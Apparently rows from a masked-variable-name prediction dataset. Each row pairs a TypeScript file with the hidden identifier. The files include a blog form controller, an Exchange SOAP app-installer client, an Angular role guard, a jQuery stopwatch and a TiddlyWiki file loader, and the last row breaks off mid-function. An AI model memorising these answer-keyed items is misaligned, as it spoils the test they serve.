          AppStateStore.postFormErrors.push(`${field} -> ${err}<br>`);
        }
      }
    }
    showError(AppStateStore.postFormErrors.join(""""));
  }
}

function showError(err: any) {
    const erorrsDiv = document.getElementById(""errors"")!;
    if(!err) {
      erorrsDiv.innerHTML = ''
    } else {
      erorrsDiv.innerHTML = `<div>${err}</div>`;
    }
  }

*/
function init() {
    showSignin();
// const addPostForm = document.getElementById(""add-post-form"")! as HTMLFormElement;
// addPostForm.addEventListener('change', validateForm(), true);

  const  [MASK]  = document.getElementById('signinPageBtn') as HTMLElement;
   [MASK] .addEventListener(""click"", () => {
    showSignin();
  });

  const navbarLoginBtn = document.getElementById('loginPageBtn') as HTMLElement;
  navbarLoginBtn.addEventListener(""click"", () => {
    showLogin();
  });
}

init();


/////////////


// import { Change, FormFieldState, Status, ValidationConfig, ValidationResult } from './validate';
// import { AppStateStore } from './state-store.js';
// import { UsersAPI } from './users-api-client.js';

// class BlogsController {
//   postsSection = document.getElementById(""posts"")!;
//   erorrsDiv = document.getElementById(""errors"")!;
//   protected addPostForm = document.getElementById(""add-post-form"")! as HTMLFormElement;

//   async init() {
//     this.addPostForm.addEventListener('submit', this.handleSubmitPost);
//     this.addPostForm.addEventListener('change', this.validateForm, true);

//     try {
//       const allUsers = await UsersAPI.getAllUsers();
//       AppStateStore.allPosts = allUsers;
//       this.showUsers(allUsers);
//     } catch (err) {
//       this.showError(err);
//     }
//   }
  
//   showUsers(users: User[]) {
//     users.forEach(user => this.addUserDOM(user));
//   }

//   showError(err: any) {
//     if(!err) {
//       this.erorrsDiv.innerHTML = ''
//     } else {
//       this.erorrsDiv.innerHTML = `<div>${err}</div>`;
//     }
//   }

//   addUserDOM(user: User) {
//     const postElem = document.createElement('article');
//     postElem.setAttribute('id', user.id!.toString());
//     postElem.className = ""col s12 m6 l4"";
//     this.updateArticleInnerHtml(postElem, user);
//     this.postsSection.insertAdjacentElement(""beforeend"", postElem);
//   }

//   updateUserDOM(user: User) {
//     const userElem = document.getElementById(user.id!.toString())!;
//     this.updateArticleInnerHtml(userElem, user);
//   }

//   private updateArticleInnerHtml(userElem: HTMLElement, user: User) {
//     userElem.innerHTML = `
//     <article class=""article"">
//     <div class=""title"">
//         <h3>${user.firstName} ${user.lastName}</h3>
//     </div>
    
//     <img src=""${user.imageUrl}""></img>

//     <summary class=""summary"">
//         <span>Username: ${user.username}</span>
//         <span>Gender: ${user.gender}</span>
//         <span>Role: ${user.userRole}</span>
//         <span>Description: ${user.description}</span>
//         <span>Status: ${user.status}</span>
//         <span>Registration Date: ${user.registrationTimestamp}</span>
//         <span>Last Modification: ${user.modificationTimestamp}</span>
//     </summary>
        
// </article>
//       `;
//   }

//   fillPostForm(user: User) {
//     let field: keyof User;
//     for (field in user) {
//       (document.getElementById(field) as HTMLFormElement).value = user[field];
//       const label = document.querySelector(`#add-post-form label[for=${field}]`);
//       if (label) {
//         label.className = 'active';
//       }
//     }
//   }


//   handleSubmitPost = async (event: SubmitEvent) => {
//     try {
//       event.preventDefault();
//       const post = this.getPostFormSnapshot();
//       // const post = newPost as unknown as Post;
//       if (post.id) {
//         const updated = await UsersAPI.updateUser(post);
//         this.updateUserDOM(updated);
//         AppStateStore.editedPost = undefined;
//       } else {
//         const created = await UsersAPI.addNewUser(post);
//         this.addUserDOM(created);
//       }
//       this.resetForm();
//     } catch (err) {
//       this.showError(err);
//     }
//   }

//   getPostFormSnapshot(): User {
//     const formData = new FormData(this.addPostForm);
//     const np: formFieldDict<string> = {};
//     formData.forEach((value, key) => {
//       np[key] = value.toString();
//     })
//     return new User(parseInt(np.id), np.firstName, np.lastName, np.username, np.password, np.gender, np.userRole, np.imageUrl, np.description, np.status, np.registrationTimestamp, np.modificationTimestamp);
//   }

// //   resetForm = () => {
// //     if (AppStateStore.editedPost) {
// //       this.fillPostForm(AppStateStore.editedPost);
// //     } else {
// //       this.addPostForm.reset();
// //     }
// //   }

//   validateForm = (event: Event) => {
//     const validationResult: ValidationResult<User> = {};
//     const config = AppStateStore.postFormValidationConfig;
//     const formSnapshot = this.getPostFormSnapshot();
//     let field: keyof ValidationConfig<User>;
//     for (field in config) {
//       const validator = config[field];
//       if(validator !== undefined) {
//         try{
//           if(Array.isArray(validator)) {
//             for(const correct of validator) {
//               try {
//                 correct(formSnapshot[field]!.toString(), field);
//               } catch(err){
//                 if(validationResult[field] === undefined) {
//                   validationResult[field] = [] as Array<string>;
//                 }
//                 validationResult[field]!.push(err as string);
//               }
             
//             }
//           }
//           else {
//             validator(formSnapshot[field]!.toString(), field);
//           }
//         } catch(err) {
//           validationResult[field] = [err as string];
//         }
//       }
//     }
//     this.showValidationErrors(validationResult);
//   }

//   showValidationErrors(validationResult: ValidationResult<User>) {
//     AppStateStore.postFormErrors = [];
//     let field: keyof ValidationResult<User>;
//     for (field in validationResult) {
//       const filedErrors = validationResult[field];
//       if (filedErrors !== undefined) {
//         for (const err of filedErrors) {
//           AppStateStore.postFormErrors.push(`${field} -> ${err}<br>`);
//         }
//       }
//     }
//     this.showError(AppStateStore.postFormErrors.join(""""));
//   }
// }


// const blogsController = new BlogsController();

// blogsController.init();",navbarSigninBtn
612,"let path = require(""path"");
let xml2js = require(""xml2js"");
let soap = require(""soap"");
let enumerable = require(""linq"");
import tl = require('azure-pipelines-task-lib/task');

export class EWSClient {
    private client: any = null;

    public initialize(settings: any, callback: any) {
        let  [MASK]  = settings.url + ""/EWS/Exchange.asmx"";
        let url = path.join(__dirname, ""Services.wsdl"");

        let options = {
            escapeXML: false
        };

        soap.createClient(url, options, (err: any, client: any) => {
            if (err) {
                return callback(err);
            }
            if (!client) {
                return callback(new Error(""Could not create client""));
            }

            this.client = client;

            this.client.addListener('request', function (xml: string) {
                tl.debug(""---REQUEST---"");
                tl.debug(xml);
                tl.debug(""---END of REQUEST---"");
            });
            this.client.addListener('response', function (a: string, b: string) {
                tl.debug(""---RESPONSE---"");
                tl.debug(""body: "" + a);
                tl.debug(""response: "" + JSON.stringify(b));
                tl.debug(""---END of RESPONSE---"");
            });
            this.client.addListener('soapError', function () {
                tl.warning(""---SOAP ERROR---"");
                tl.warning(""---END of SOAP ERROR---"");
            });

            if (settings.token) {
                this.client.setSecurity(new soap.BearerSecurity(settings.token));
            }
            else {
                this.client.setSecurity(new soap.BasicAuthSecurity(settings.username, settings.password));
            }

            return callback(null);
        },  [MASK] );
    }

    public installApp(manifest: string, callback: any) {
        if (!this.client) {
            return callback(new Error(""Call initialize()""));
        }

        let soapRequest =
            //""<tns:InstallApp xmlns:tns='http://schemas.microsoft.com/exchange/services/2006/messages'>"" +
            ""<Manifest>"" + manifest + ""</Manifest>""; //+
        //""</tns:InstallApp>"";

        this.client.InstallApp(soapRequest, (httpError: any, result: any, rawBody: any) => {
            if (httpError) {
                if (httpError.response.statusCode && (httpError.response.statusCode == 401 || httpError.response.statusCode == 403)) {
                    return callback(new Error(httpError.response.statusCode + "": Unauthorized!""));
                }
                return callback(new Error(httpError));
            }

            let parser = new xml2js.Parser(
                {
                    ""explicitArray"": false,
                    ""explicitRoot"": false,
                    ""attrkey"": ""@""
                });

            parser.parseString(rawBody, (err: any, result: any) => {
                let message = """";
                let responseCode = result[""s:Body""][""InstallAppResponse""][""ResponseCode""];

                if (responseCode !== ""NoError"") {
                    try {
                        message = enumerable.from(result[""s:Body""][""InstallAppResponse""][""MessageXml""][""t:Value""])
                            .where(function (i: any) { return i[""@""][""Name""] === ""InnerErrorMessageText""; })
                            .select(function (i: any) { return i[""_""]; }).first();
                    } catch (e) {
                        message = """";
                    }
                    finally {
                        return callback(new Error(responseCode + "": "" + JSON.stringify(message)));
                    }
                }

                callback(null);
            });
        });
    };

    public uninstallApp(id: string, callback: any) {
        if (!this.client) {
            return callback(new Error(""Call initialize()""));
        }

        let soapRequest =
            //""<m:UninstallApp xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'>"" +
            ""<ID>"" + id + ""</ID>""; // +
        //""</m:UninstallApp>"";

        this.client.UninstallApp(soapRequest, (httpError: any, result: any, rawBody: any) => {
            if (httpError) {
                if (httpError.response.statusCode && (httpError.response.statusCode == 401 || httpError.response.statusCode == 403)) {
                    return callback(new Error(httpError.response.statusCode + "": Unauthorized!""));
                }
                return callback(new Error(httpError));
            }

            let parser = new xml2js.Parser(
                {
                    ""explicitArray"": false,
                    ""explicitRoot"": false,
                    ""attrkey"": ""@""
                });

            parser.parseString(rawBody, (err: any, result: any) => {
                let message = """";

                let responseCode = result[""s:Body""][""UninstallAppResponse""][""ResponseCode""];

                if (responseCode !== ""NoError"") {
                    try {
                        message = enumerable.from(result[""s:Body""][""UninstallAppResponse""][""MessageXml""][""t:Value""])
                            .where(function (i: any) { return i[""@""][""Name""] === ""InnerErrorMessageText""; })
                            .select(function (i: any) { return i[""_""]; }).first();
                    } catch (e) {
                        message = """";
                    }
                    finally {
                        return callback(new Error(responseCode + "": "" + JSON.stringify(message)));
                    }
                }

                callback(null);
            });
        });
    };
}",endpoint
613,"import { Injectable } from '@angular/core';
import {
  CanActivate,
  ActivatedRouteSnapshot,
  RouterStateSnapshot,
  Router,
} from '@angular/router';
import { AuthService } from './auth.service';
import { RoleService } from '../services/role.service';

@Injectable({
  providedIn: 'root',
})
export class AuthGuard implements CanActivate {
  constructor(
    private auth: AuthService,
    private router: Router,
    private roleService: RoleService
  ) {}

  canActivate(
    route: ActivatedRouteSnapshot,
    state: RouterStateSnapshot
  ): boolean {
    if (!this.auth.isLoggedIn()) {
      this.router.navigate(['/login']);
      return false;
    }

    const  [MASK] : string[] = route.data['roles'] || [];
    if ( [MASK] .length === 0) {
      return true;
    }

    const userRole = this.roleService.getUserRole();
    if (userRole &&  [MASK] .includes(userRole)) {
      return true;
    }

    this.router.navigate(['/dashboard']);
    return false;
  }
}
",requiredRoles
614,"/**
 * ストップウォッチの追加に関するクラス。
 */

import $ from 'jquery';

import { Stopwatch } from './stopwatch';

export class StopwatchMaker {

  /**
   * ストップウォッチを追加。
   */
  public addStopwatch(): void {
    const STOPWATCH_ID_PREFIX = 'stopwatch';
    // 作業追加ボタン。
    let workAddBtn = document.getElementById('work-add-btn');
    if (workAddBtn != null) {
      // 現在表示されている作業の数。複製した要素のIDに付与する。
      let numWork = 1;
      workAddBtn.addEventListener('click', () => {
        let targetElm = $('#' + STOPWATCH_ID_PREFIX + numWork);
        numWork++;
        // stopwatchをを複製。
        let  [MASK]  = targetElm.clone();
        // 複製した要素を初期化。
         [MASK] .find('#work-name' + (numWork - 1)).val('');
         [MASK] .find('#work-hour' + (numWork - 1)).text('00');
         [MASK] .find('#work-min' + (numWork - 1)).text('00');
         [MASK] .find('#work-sec' + (numWork - 1)).text('00');
         [MASK] .find('#work-start-btn' + (numWork - 1)).text('作業開始');
         [MASK] .find('#work-start-btn' + (numWork - 1)).attr('class', 'btn btn-primary');

        // 複製した要素の子要素のIDを変更。
         [MASK] .find('#work-name' + (numWork - 1)).attr('id', 'work-name' + numWork);
         [MASK] .find('#work-hour' + (numWork - 1)).attr('id', 'work-hour' + numWork);
         [MASK] .find('#work-min' + (numWork - 1)).attr('id', 'work-min' + numWork);
         [MASK] .find('#work-sec' + (numWork - 1)).attr('id', 'work-sec' + numWork);
         [MASK] .find('#work-start-btn' + (numWork - 1)).attr('id', 'work-start-btn' + numWork);

        // 要素をstopwatchの末尾に追加。
         [MASK] .insertAfter(targetElm).attr('id', STOPWATCH_ID_PREFIX + numWork);

        let newStopwatch = new Stopwatch();
        // 追加した要素に対してクリック時にストップウォッチを起動する処理を行う。
        newStopwatch.startStopwatchAfterClicking(String(numWork));
      });
    }
  }

}",cloneElm
615,"// Generated file. To retain edits, remove this comment.

import {
  Image,
  InterfaceTypes,
  PipelineOutput,
  PipelineInput,
  runPipelineNode
} from 'itk-wasm'

import IsicSuperpixelOptions from './isic-superpixel-options.js'
import IsicSuperpixelNodeResult from './isic-superpixel-node-result.js'


import path from 'path'

/**
 * Superpixel algorithm for skin cancer images
 *
 * @param {Image} image - Input image
 * @param {IsicSuperpixelOptions} options - options object
 *
 * @returns {Promise<IsicSuperpixelNodeResult>} - result object
 */
async function isicSuperpixelNode(
  image: Image,
  options: IsicSuperpixelOptions = {}
) : Promise<IsicSuperpixelNodeResult> {

  const desiredOutputs: Array<PipelineOutput> = [
    { type: InterfaceTypes.Image },
  ]

  const inputs: Array<PipelineInput> = [
    { type: InterfaceTypes.Image, data: image },
  ]

  const args = []
  // Inputs
  const imageName = '0'
  args.push(imageName as string)

  // Outputs
  const labelsName = '0'
  args.push(labelsName)

  // Options
  args.push('--memory-io')
  if (typeof options.numSegments !== ""undefined"") {
    args.push('--num-segments', options.numSegments.toString())

  }
  if (typeof options.segmentSize !== ""undefined"") {
    args.push('--segment-size', options.segmentSize.toString())

  }

  const  [MASK]  = path.join(path.dirname(import.meta.url.substring(7)), '..', 'pipelines', 'isic-superpixel')

  const {
    returnValue,
    stderr,
    outputs
  } = await runPipelineNode( [MASK] , args, desiredOutputs, inputs)
  if (returnValue !== 0) {
    throw new Error(stderr)
  }

  const result = {
    labels: outputs[0].data as Image,
  }
  return result
}

export default isicSuperpixelNode
",pipelinePath
616,"import { Observable } from 'rxjs/bundles/Rx.min';
import * as path from 'path';
import * as fs from 'fs';

// declare module 'rxjs/operator/ignoreElements' {
//     export function ignoreElements<T>(this: Observable<T>): Observable<never>;
// }

const maxConcurrent = 40;
// The master of this file is in the src folder in https://github.com/Arlen22/TiddlyServer 
// written targetting v5.1.14
// checked against v5.1.14...v5.1.15
//   https://github.com/Jermolene/TiddlyWiki5/compare/v5.1.14...54b1e284fa323968b6d8e49ad5c2344627d8ce3b

type Hashmap<T> = { [K: string]: T };
export interface Boot {
    logMessages: string[];
    log(str: string): void;
    tasks: {
        trapErrors: boolean;
    };
}
interface Utils {
    hop<T>(object: T, property: keyof T): T[keyof T] | false;
    isArray(value: any): value is Array<any>;
    isDate(value: any): value is Date;
    each<T>(object: T[], callback: (e: T, i: number, a: T[]) => void): any;
    each<T extends {
        [K: string]: any;
    }>(object: T, callback: (e: T[keyof T], i: keyof T, a: T) => void): any;
    domMaker(tag: string, options: {
        document?: Document;
        text?: string;
        innerHTML?: string;
        children?: Node[];
        attributes?: {
            [K: string]: string;
        };
        eventListeners?: any[];
        class?: string;
    }): any;
    error(err: any): void;
    extend<T, S1>(object: T, source1: S1): T & S1;
    extend<T, S1, S2>(object: T, source1: S1, source2: S2): T & S1 & S2;
    extend<T, S1, S2, S3, R extends T & S1 & S2 & S3>(object: T, source1: S1, source2: S2, source3: S3): R;
    extend<T, S1, S2, S3, S4, R extends T & S1 & S2 & S3 & S4>(object: T, source1: S1, source2: S2, source3: S3, source4: S4): R;
    extend<T, S1, S2, S3, S4, S5, R extends T & S1 & S2 & S3 & S4 & S5>(object: T, source1: S1, source2: S2, source3: S3, source4: S4, source5: S5): R;
    extend<T, S1, S2, S3, S4, S5, S6, R extends T & S1 & S2 & S3 & S4 & S5>(object: T, source1: S1, source2: S2, source3: S3, source4: S4, source5: S5, ...sources: S6[]): R;
    deepDefaults<T, S1, R extends T & S1>(object: T, source1: S1): R;
    deepDefaults<T, S1, S2, R extends T & S1 & S2>(object: T, source1: S1, source2: S2): R;
    deepDefaults<T, S1, S2, S3, R extends T & S1 & S2 & S3>(object: T, source1: S1, source2: S2, source3: S3): R;
    deepDefaults<T, S1, S2, S3, S4, R extends T & S1 & S2 & S3 & S4>(object: T, source1: S1, source2: S2, source3: S3, source4: S4): R;
    deepDefaults<T, S1, S2, S3, S4, S5, R extends T & S1 & S2 & S3 & S4 & S5>(object: T, source1: S1, source2: S2, source3: S3, source4: S4, source5: S5): R;
    deepDefaults<T, S1, S2, S3, S4, S5, S6, R extends T & S1 & S2 & S3 & S4 & S5>(object: T, source1: S1, source2: S2, source3: S3, source4: S4, source5: S5, ...sources: S6[]): R;
    htmlDecode(html: string): string;
    getLocationHash(): string;
    /**
     * Pad a string to a given length with ""0""s. Length defaults to 2, max is 27
     */
    pad(value: any, length?: number): string;
    stringifyDate(value: Date): string;
    parseDate(value: string): Date | null;
    /**
     * Stringify an array of tiddler titles into a list string
     */
    stringifyList(value: string[]): string;
    parseStringArray(value: string): string[] | null;
    parseFields<S = {}, T = {}>(text: string, result?: T): typeof result & S;
    resolvePath(sourcePath: string, rootPath: string): string;
    parseVersion(version: string): {
        version: string;
        major: number;
        minor: number;
        patch: number;
        prerelease: string;
        build: string;
    } | null;
    /**
     * Check whether version A is greater than or equal to version B
     */
    checkVersions(versionStringA: string, versionStringB: string): boolean;
    registerFileType(type: any, encoding: any, extension: any, options: {
        flags: (""image"")[];
        deserializerType: string;
    }): any;
    getFileExtensionInfo(ext: string): FileExtensionInfo | null;
    getTypeEncoding(ext: string): ContentTypeInfo;
    evalGlobal(code: string, context: any, filename: string): any;
    evalSandboxed(code: string, context: any, filename: string): any;
    PasswordPrompt: new () => PasswordPrompt;
    Crypto: new () => Crypto;
}
interface PasswordPrompt {
    constructor(): any;
    setWrapperDisplay(): any;
    createPrompt(options: any): any;
    removePrompt(promptInfo: any): any;
}
interface Crypto {
    setPassword(newPassword: string): any;
    updateCryptoStateTiddler(): any;
    hasPassword(): any;
    encrypt(text: string, password: string): any;
    decrypt(text: string, password: string): any;
}

interface FileExtensionInfo {
    type: string;
}
interface ContentTypeInfo {
    encoding: string;
    extension: string;
    flags: string[];
    deserializerType: string;
}

export interface Tiddler {
    fields: TiddlerFields
}

export interface TiddlerFields {
    readonly text: string
    readonly type: string
    readonly title: string
}

export interface FileInfo {
    filepath?: string;
    type?: string;
    tiddlers: TiddlerFields[];
    hasMetaFile?: boolean;

}
interface WikiInfo {
    includeWikis: { path: string }[]
    build: string[]
    plugins: string[]
    themes: string[]
    languages: string[]
    config?: {}
}
interface FieldInfo {
    source?: string
    prefix?: string;
    suffix?: string;
}

interface TiddlerInfo {
    fields: {
        [field: string]: FieldInfo
    }
    prefix: string
    suffix: string
    file: string
    isTiddlerFile: boolean

}
interface DirectoryInfo {
    path: string
    filesRegExp: string
    isTiddlerFile: boolean
    fields: any
}
interface packageInfo {
    name: string
    preferGlobal: string
    version: string
    author: string
    description: string
    contributors: string
    bin: string
    main: string
    repository: string
    keywords: string
    dependencies: string
    devDependencies: string
    bundleDependencies: string
    license: string
    engines: string
}

interface $tw {
    boot: {
        excludeRegExp: RegExp,
        files: {
            [title: string]: {
                filepath: string,
                type: string,
                hasMetaFile: boolean
            }
        }
        wikiTiddlersPath: string,
        wikiPath: string
        corePath: string
        bootPath: string
        wikiInfo: WikiInfo
    }
    utils: Utils/*{
        getFileExtensionInfo: (ext) => any,
        parseFields: <T>(string, fields:T) => T
    }*/,
    config: {
        contentTypeInfo: {
            [type: string]: ContentTypeInfo
        },
        fileExtensionInfo: {
            [ext: string]: FileExtensionInfo
        },
        wikiInfo: {},
        pluginsPath: string
        themesPath: string
        languagesPath: string
        pluginsEnvVar: string
        themesEnvVar: string
        languagesEnvVar: string
        wikiTiddlersSubDir: string
        wikiPluginsSubDir: string
        wikiThemesSubDir: string
        wikiLanguagesSubDir: string
    },
    wiki: {
        deserializeTiddlers(ext, data, fields): TiddlerFields[]
        addTiddler(data: TiddlerFields | Tiddler): void;
        addTiddlers(data: (TiddlerFields | Tiddler)[]): void;
    }
    packageInfo: packageInfo
}

function obs_stat<T>(tag?: T): (path: string) => Observable<[NodeJS.ErrnoException, fs.Stats, T]> {
    return Observable.bindCallback(fs.stat, (err, stat) => [err, stat, tag])
}

function obs_readdir<T>(tag?: T): (path: string) => Observable<[NodeJS.ErrnoException, string[], T]> {
    return Observable.bindCallback(fs.readdir, (err, files) => [err, files, tag]);
}

function obs_readFile<T>(tag?: T): (path: string, encoding: string) => Observable<[NodeJS.ErrnoException, string, T]> {
    return Observable.bindCallback(fs.readFile, (err, data) => [err, data, tag]);
}
export function bootNode($tw) {



    /**
    Load the tiddlers contained in a particular file (and optionally extract fields from the 
    accompanying .meta file) returned as { filepath, type, tiddlers[], hasMetaFile }. Returns
    exactly one item.
    */
    function loadTiddlersFromFile(filepath, fields?): Observable<FileInfo> {
        //return Observable.of(filepath).switchMap(() => {
        var ext = path.extname(filepath),
            extensionInfo = $tw.utils.getFileExtensionInfo(ext),
            type = extensionInfo ? extensionInfo.type : null,
            typeInfo = type ? $tw.config.contentTypeInfo[type] : null;
        return obs_readFile({ type, filepath })(
            filepath as string, typeInfo ? typeInfo.encoding : ""utf8""
        ).switchMap(([err, data, { type, filepath }])/*: Observable<[any, { tiddlers: TiddlerFields[], type: string, filepath: string }]>*/ => {
            const tag = {
                type, filepath,
                tiddlers: $tw.wiki.deserializeTiddlers(ext, data, fields)
            }
            //const tag1 = extend(tag, { tiddlers })

            if (ext !== "".json"" && tag.tiddlers.length === 1) {
                return loadMetadataForFile(filepath).map(metadata => [metadata || {}, tag] as [{}, typeof tag]);
            } else {
                return Observable.of([false, tag] as [false, typeof tag]);
            }
        }).map(([metadata, tag]) => {
            if (metadata) tag.tiddlers = [$tw.utils.extend({}, tag.tiddlers[0], metadata)] as TiddlerFields[];
            return { filepath: tag.filepath, type: tag.type, tiddlers: tag.tiddlers, hasMetaFile: !!metadata };
        })
    };

    /**
    Load the metadata fields in the .meta file corresponding to a particular file. Returns null
    if none is found.
    */
    function loadMetadataForFile(filepath) {
        var  [MASK]  = filepath + "".meta"";
        return obs_readFile()( [MASK] , ""utf8"").map(([err, data]) => {
            if (err) {
                return null;
            } else {
                return $tw.utils.parseFields(data || """") as TiddlerFields;
            }
        })
    };

    /**
    A default set of files for TiddlyWiki to ignore during load.
    This matches what NPM ignores, and adds ""*.meta"" to ignore tiddler
    metadata files.
    */
    $tw.boot.excludeRegExp = /^\.DS_Store$|^.*\.meta$|^\..*\.swp$|^\._.*$|^\.git$|^\.hg$|^\.lock-wscript$|^\.svn$|^\.wafpickle-.*$|^CVS$|^npm-debug\.log$/;



    /**
    Load all the tiddlers recursively from a directory, including honouring `tiddlywiki.files` files for drawing in external files. Returns an array of {filepath:,type:,tiddlers: [{..fields...}],hasMetaFile:}. Note that no file information is returned for externally loaded tiddlers, just the `tiddlers` property.
    */
    function loadTiddlersFromPath(filepath, excludeRegExp?): Observable<FileInfo> {
        excludeRegExp = excludeRegExp || $tw.boot.excludeRegExp;
        var tiddlers = [];
        return obs_stat()(filepath).switchMap(([err, stat]) => {
            if (err) {
                return Observable.empty<FileInfo>();
            } else {
                if (stat.isDirectory()) {
                    return obs_readdir()(filepath).switchMap(([err, files]) => {
                        if (files.indexOf(""tiddlywiki.files"") !== -1) {
                            return loadTiddlersFromSpecification(filepath, excludeRegExp);
                        } else {
                            // If not, read all the files in the directory
                            return Observable.from(
                                files.filter(file => {
                                    return (!excludeRegExp.test(file) && file !== ""plugin.info"");
                                })
                            ).mergeMap(file => {
                                return loadTiddlersFromPath(filepath + path.sep + file, excludeRegExp)
                            }, maxConcurrent);
                        }
                    })
                } else if (stat.isFile()) {
                    return loadTiddlersFromFile(filepath)
                } else {
                    return Observable.empty<FileInfo>();
                }
            }
        })
    };

    /**
    Load all the tiddlers defined by a `tiddlywiki.files` specification file
    filepath: pathname of the directory containing the specification file
    */
    function loadTiddlersFromSpecification(filepath, excludeRegExp) {
        var tiddlers = [];
        // Read the specification
        return obs_readFile()(filepath + path.sep + ""tiddlywiki.files"", ""utf8"").switchMap((res) => {
            var err = res[0];
            var filesInfo = JSON.parse(res[1]);
            return Observable.from(filesInfo.tiddlers || []).concatMap((tidInfo: TiddlerInfo) => {
                if (tidInfo.prefix && tidInfo.suffix) {
                    tidInfo.fields.text = { prefix: tidInfo.prefix, suffix: tidInfo.suffix };
                } else if (tidInfo.prefix) {
                    tidInfo.fields.text = { prefix: tidInfo.prefix };
                } else if (tidInfo.suffix) {
                    tidInfo.fields.text = { suffix: tidInfo.suffix };
                }
                return processFile(tidInfo.file, tidInfo.isTiddlerFile, tidInfo.fields);
            }).concat(Observable.from(filesInfo.directories || []).concatMap((dirInfo: DirectoryInfo) => {
                if (typeof dirInfo === ""string"") {
                    var pathname = path.resolve(filepath, dirInfo);
                    return obs_stat()(pathname).switchMap(([err, stat]) => {
                        if (err || !stat.isDirectory()) return Observable.empty<FileInfo>();
                        else return loadTiddlersFromPath(pathname, excludeRegExp)
                    })
                } else {
                    // Process directory specifier
                    var dirPath = path.resolve(filepath, dirInfo.path);
                    return obs_readdir()(dirPath).switchMap(([err, files]) => {
                        var fileRegExp = new RegExp(dirInfo.filesRegExp || ""^.*$""),
                            metaRegExp = /^.*\.meta$/;
                        return Observable.from(
                            files.filter(filename => {
                                return filename !== ""tiddlywiki.files"" && !metaRegExp.test(filename) && fileRegExp.test(filename);
                            })
                        ).mergeMap(filename => {
                            return processFile(dirPath + path.sep + filename, dirInfo.isTiddlerFile, dirInfo.fields);
                        }, maxConcurrent)
                    })
                }
            }))
        })
        // Helper to process a file
        function processFile(filename, isTiddlerFile, fields): Observable<FileInfo> {
            var extInfo = $tw.config.fileExtensionInfo[path.extname(filename)],
                type = (extInfo || {}).type || fields.type || ""text/plain"",
                typeInfo = $tw.config.contentTypeInfo[type] || {},
                pathname = path.resolve(filepath, filename);
            return obs_readFile()(pathname, typeInfo.encoding || ""utf8"").switchMap(([err, text]) => {
                return loadMetadataForFile(pathname).map(metadata => [metadata || {}, text]);
            }).map(([metadata, text]) => {
                var fileTiddlers: TiddlerFields[];
                if (isTiddlerFile) {
                    fileTiddlers = $tw.wiki.deserializeTiddlers(path.extname(pathname), text, metadata) || [];
                } else {
                    fileTiddlers = [$tw.utils.extend({ text: text }, metadata) as TiddlerFields];
                }
                var combinedFields = $tw.utils.extend({}, fields, metadata) as Hashmap<FieldInfo | string | any[]>;
                $tw.utils.each(fileTiddlers, function (tiddler) {
                    $tw.utils.each(combinedFields, function (fieldInfo, name) {
                        if (typeof fieldInfo === ""string"" || $tw.utils.isArray(fieldInfo)) {
                            tiddler[name] = fieldInfo;
                        } else {
                            var value = tiddler[name];
                            switch (fieldInfo.source) {
                                case ""filename"":
                                    value = path.basename(filename);
                                    break;
                                case ""filename-uri-decoded"":
                                    value = decodeURIComponent(path.basename(filename));
                                    break;
                                case ""basename"":
                                    value = path.basename(filename, path.extname(filename));
                                    break;
                                case ""basename-uri-decoded"":
                                    value = decodeURIComponent(path.basename(filename, path.extname(filename)));
                                    break;
                                case ""extname"":
                                    value = path.extname(filename);
                                    break;
                                case ""created"":
                                    value = new Date(fs.statSync(pathname).birthtime);
                                    break;
                                case ""modified"":
                                    value = new Date(fs.statSync(pathname).mtime);
                                    break;
                            }
                            if (fieldInfo.prefix) {
                                value = fieldInfo.prefix + value;
                            }
                            if (fieldInfo.suffix) {
                                value = value + fieldInfo.suffix;
                            }
                            tiddler[name] = value;
                        }
                    });
                });
                return { tiddlers: fileTiddlers };
            })
        } //End processFile()
    };

    /**
    Load the tiddlers from a plugin folder, and package them up into a proper JSON plugin tiddler
    */
    function loadPluginFolder(filepath, excludeRegExp?) {
        excludeRegExp = excludeRegExp || $tw.boot.excludeRegExp;
        //return an observable chain starting with stat'ing the folder
        return obs_stat()(filepath).switchMap(([err, stat]) => {
            //skip down to the catch handler if we can't load this path, but tell the handler
            //to just return null instead of rethrowing the error.
            if (err || !stat.isDirectory()) {
                if (err) err.forward = false;
                else err = { message: ""Directory required"", forward: false };
                return Observable.throw(err);
            }
            //read the plugin info file
            return obs_readFile()(filepath + path.sep + ""plugin.info"", ""utf8"");
        }).switchMap(([err, data]) => {
            if (err) throw err;
            var pluginInfo = JSON.parse(data);
            return loadTiddlersFromPath(filepath, excludeRegExp)
                //loadTiddlersFromPath returns an Observable of individual files, so
                //we need to reduce these into an array. The array will be emitted only
                //only once only after all the files have been emited.
                .reduce((n, e) => { n.push(e); return n; }, [])
                //forward the plugin info
                .map(tiddlers => [tiddlers, pluginInfo]);
        }).map(([pluginFiles, pluginInfo]) => {
            pluginInfo.tiddlers = pluginInfo.tiddlers || Object.create(null);
            for (var f = 0; f < pluginFiles.length; f++) {
                var tiddlers = pluginFiles[f].tiddlers;
                for (var t = 0; t < tiddlers.length; t++) {
                    var tiddler = tiddlers[t];
                    if (tiddler.title) {
                        pluginInfo.tiddlers[tiddler.title] = tiddler;
                    }
                }
            }
            // Give the plugin the same version number as the core if it doesn't have one
            if (!(""version"" in pluginInfo)) {
                pluginInfo.version = $tw.packageInfo.version;
            }
            // Use ""plugin"" as the plugin-type if we don't have one
            if (!(""plugin-type"" in pluginInfo)) {
                pluginInfo[""plugin-type""] = ""plugin"";
            }
            pluginInfo.dependents = pluginInfo.dependents || [];
            pluginInfo.type = ""application/json"";
            // Set plugin text
            pluginInfo.text = JSON.stringify({ tiddlers: pluginInfo.tiddlers }, null, 4);
            delete pluginInfo.tiddlers;
            // Deserialise array fields (currently required for the dependents field)
            for (var field in pluginInfo) {
                if ($tw.utils.isArray(pluginInfo[field])) {
                    pluginInfo[field] = $tw.utils.stringifyList(pluginInfo[field]);
                }
            }
            return pluginInfo;
        }).catch(err => {
            if (err.forward === false) return Observable.of(null);
            else return Observable.throw(err);

        })
    };


    /**
    name: Name of the plugin to find
    paths: array of file paths to search for it
    Returns the path of the plugin folder or null
    */
    function findLibraryItem(name, paths) {
        //emits the first path that exists and is a directory
        //otherwise emits null
        return Observable.from(paths).concatMap(itemPath => {
            var pluginPath = path.resolve(itemPath, ""./"" + name);
            return obs_stat(pluginPath)(pluginPath)
        }).first(([err, stat, pluginPath]) => {
            return (!err && stat.isDirectory())
        }, ([err, stat, pluginPath]) => pluginPath, null)
    };


    /**
    name: Name of the plugin to load
    paths: array of file paths to search for it
    */
    function loadPlugin(name, paths): Observable<never> {
        return findLibraryItem(name, paths).switchMap(pluginPath => {
            if (pluginPath) return loadPluginFolder(pluginPath);
